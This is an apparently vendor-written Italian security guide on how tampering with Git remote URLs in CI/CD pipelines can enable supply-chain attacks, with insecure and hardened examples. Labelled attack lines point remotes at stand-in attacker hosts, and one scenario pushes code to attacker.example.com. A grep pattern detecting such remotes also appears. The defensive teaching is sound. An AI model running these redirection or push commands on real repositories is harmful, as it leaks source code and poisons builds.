Il rischio nascosto dietro un semplice comando Git
Per la maggior parte degli sviluppatori, eseguire un comando come git remote set-url origin sembra una routine, solo un altro passaggio nella manutenzione della configurazione di Git. Gli script di integrazione continua (CI) eseguono comunemente anche comandi come git remote set-url, Git set url for remote o Git remote add per recuperare o inviare codice durante le build. Ma ecco il rischio: se un aggressore manomette tale configurazione (localmente o in CI), può reindirizzare la fonte a un repository dannoso, intercettare le credenziali o iniettare malware nella supply chain.
Esempio di come viene tipicamente utilizzato:
# Utilizzo legittimo
git remote set-url origin https://github.com/org/project.git
⚠️ Esempio non sicuro, solo a scopo didattico. Non utilizzare in produzione.
# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git
Versione sicura, pin e verifica dell'origine del repository
# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.
Perché? Se il computer remoto viene commutato su un host controllato dall'aggressore, ogni successivo git fetch/git push punta a codice dannoso. Quando possibile, codificare in modo rigido le origini attendibili ed evitare URL dinamici non convalidati.
Come la manipolazione remota compromette la build Pipeline
Un URL remoto Git modificato può avere gravi conseguenze nell'automazione pipelinedove gli script sono considerati implicitamente attendibili.
Scenario di esempio:
- Uno script CI utilizza git remote set-url per riconfigurare dinamicamente i repository.
- Una variabile di ambiente compromessa (ad esempio, un token o un URL del repository) viene inserita nello script.
- La build recupera o invia il codice a un repository dannoso.
- L'aggressore inserisce backdoor o dipendenze manomesse.
⚠️ Esempio non sicuro, solo a scopo didattico. Non utilizzare in produzione.
# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
- name: Set remote
run: git remote set-url origin $REPO_URL
- name: Build and deploy
run: npm install && npm run build
Versione sicura, convalida $REPO_URL prima dell'uso (verifica whitelist/xygeni).
# ✅ CI/CD pipeline with validation guardrail
steps:
- name: Validate REPO_URL
run: |
# Educational note: never accept raw URLs without validation.
if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
echo "Untrusted repo origin: $REPO_URL" && exit 1
fi
- name: Set remote (safe)
run: git remote set-url origin "$REPO_URL"
- name: Build and deploy
run: npm ci && npm run build
Perché: Convalida gli URL del repository in arrivo rispetto a una whitelist mantenuta (o usa xygeni verify --git-origin) prima di agire su di essi. Ciò impedisce agli aggressori di sovrascrivere le variabili di ambiente per reindirizzare pipelines.
Rilevamento di modifiche non autorizzate nella configurazione remota
Git non ti avvisa quando un remoto viene modificato. Monitoraggio proattivo di .git/config e sono necessari controlli di integrità pre-compilazione.
Tecniche pratiche di rilevamento
Ispeziona la configurazione Git:
Confronta l'output con gli URL previsti memorizzati in una baseline sicura.
Convalidare
.git/configintegrità:Confronta il checksum con una base di riferimento attendibile.
Validazione basata su CI:
Nota didattica: Non eseguire controlli di integrità o comandi di verifica con credenziali di lunga durata esposte nei log o in ambienti non protetti. Utilizzare credenziali temporanee, segreti protetti ed evitare di eseguire comandi di convalida come utente privilegiato, ove possibile.
Suggerimento per il rilevamento: Cerca i remoti che puntano a domini non canonici (inaspettati .net, .io, indirizzi IP), nomi remoti duplicati o variabili di ambiente che controllano gli URL del repository senza convalida. Il rilevamento precoce impedisce git set-url manipolazione da build contaminate.
Protezione delle origini del repository con Guardrails e convalida hash
Prevenire significa applicare controlli rigorosi sui repository da cui si esegue la compilazione. Guardrails includono la firma, la convalida hash e la limitazione di chi può modificare le variabili CI.
Pratiche sicure per l'integrità del repository
Aggiungi URL al repository e, ove possibile, codifica le origini attendibili:
# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD
Convalida gli hash del repository:
Verificare che HEAD corrisponda all'hash previsto prima della compilazione.
⚠️ Esempio insicuro, stampa dei token nei log (non utilizzare in produzione).
# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"
Versione sicura, leggi i segreti dal caveau e non stampare mai
# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.
Mini checklist: gestione remota sicura di Git
- imporre inserimento nella whitelist o verifica dell'URL remoto.
- Convalidare l'integrità di .git/config prima delle build.
- Richiedi firma commite tag.
- Limita chi può modificare le variabili di ambiente CI.
- Registra le esecuzioni di git remote set-url e git remote add per l'audit.
Integrazione della convalida URL del set remoto Git in CI/CD Pipelines
Aggiungi guardrails e verifica automatizzata per interrompere la manipolazione remota in anticipo pipeline.
Esempio di Guardrail: verifica la presenza di telecomandi duplicati o non autorizzati
# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
- name: Check remotes
run: |
git remote -v > /tmp/remotes.txt
if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
echo "Unauthorized remote detected" && exit 1
fi
# Validate current origin matches expected
if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
echo "Origin verification failed" && exit 1
fi
Rafforzamento contro la manomissione della supply chain in ambienti condivisi
I runner condivisi e i comandi remoti permissivi sono ad alto rischio. Evitare comandi che aggiungono remoti non verificati durante l'esecuzione del job.
⚠️ Esempio non sicuro: aggiunta di un aggressore remoto (non utilizzare).
# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git
Versione sicura, limita ai domini convalidati e usa –set-url solo per le origini approvate
# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
git remote add backup "$REMOTE_URL"
else
echo "Refusing to add unapproved remote" && exit 1
fi
Nota: preferire runner effimeri ed evitare cache condivise persistenti tra i processi.
Nota sui runner: utilizzare runner isolati ed effimeri che vengono ricreati per ogni processo. I dischi o le cache condivise possono rendere persistenti i file manomessi tra le build.
Integrazione dell'URL del set Git per la convalida remota in CI/CD Pipelines
Proteggere l'utilizzo di git remote set-url non significa solo effettuare controlli manuali, ma anche automatizzarli. I moderni flussi di lavoro DevSecOps possono integrare la convalida direttamente in CI/CD pipelines.
Esempio: convalida automatica dell'integrità remota
stages:
- validate
- build
validate-repo:
script:
- echo "Validating repository origin..."
- xygeni enforce --policy git-origin.yaml
- xygeni scan --detect-remote-tampering
Questa configurazione garantisce che prima di qualsiasi esecuzione di build o distribuzione, pipeline convalida:
- L'URL del repository corrisponde al valore previsto.
- Commit le firme sono valide.
- Nessun telecomando inaspettato è stato aggiunto utilizzando git add remote.
Controlli CI aggiuntivi
- Pre-commit hooks: Verificare che non vi siano persone non autorizzate git remote set-url i comandi esistono in commits.
- Applicazione delle policy come codice: definire le origini consentite come parte delle policy controllate dalla versione.
- Mirroring delle dipendenze: estrai il codice da mirror interni verificati anziché da fonti Internet dirette.
Automatizzare questi controlli non solo previene configurazioni errate, ma rileva anche i tentativi di manomissione della supply chain prima ancora che il codice venga distribuito.
Rafforzamento contro la manomissione della supply chain in ambienti condivisi
I runner condivisi o gli ambienti CI temporanei introducono rischi aggiuntivi. Quando più build condividono risorse, i comandi git remote set-url o git add remote possono essere utilizzati per rendere persistenti i remote dannosi tra le sessioni.
Scenari di attacco comuni
Uno script di build compromesso aggiunge un nuovo remoto per inviare il codice al repository di un aggressore:
git aggiungi backup remoto https://attacker.example.com/repo.git
git push backup principale
- Un altro progetto in esecuzione sullo stesso agente CI recupera dati da questo stato contaminato.
- Dati sensibili come token o artefatti di build possono essere divulgati tramite push non autorizzati.
Misure di rafforzamento
- Corridori effimeri: Reimpostare gli ambienti CI dopo ogni build.
- Isolamento della rete: Limita il traffico in uscita ai domini approvati.
- Privilegio minimo: Limita i permessi per le operazioni Git in pipelines.
- Firma dell'artefatto: Assicurarsi che tutti gli output di build siano firmati e verificati crittograficamente.
Combinando isolamento, convalida e monitoraggio, i team possono neutralizzare gli attacchi che sfruttano git set url per manipolazioni remote.
Convalida, monitora e automatizza l'affidabilità del repository
Un singolo comando git remote set-url utilizzato in modo improprio o un comando git add remote non verificato possono reindirizzare silenziosamente l'intero processo di build a un repository controllato da un aggressore. Il confine tra produttività e compromissione in DevOps è più sottile che mai e attacchi alla catena di fornitura del software sfruttare esattamente questo.
Per mantenere la fiducia nel tuo pipelines:
- Convalida continuamente le origini del repository.
- imporre commit e firma degli artefatti.
- Automatizza controlli di integrità in ogni fase di CI/CD.
Piattaforme come Xygeni aiutare i team DevSecOps a rilevare configurazioni errate remote, monitorare i limiti di attendibilità del repository e bloccare i rischi della supply chain derivanti dall'uso improprio di Git, prima che i remoti dannosi abbiano la possibilità di distribuire il codice.
Fidati del tuo flusso di lavoro, ma verifica la fonte. È così che eviterai che git remote set-url diventi la tua prossima violazione della sicurezza.
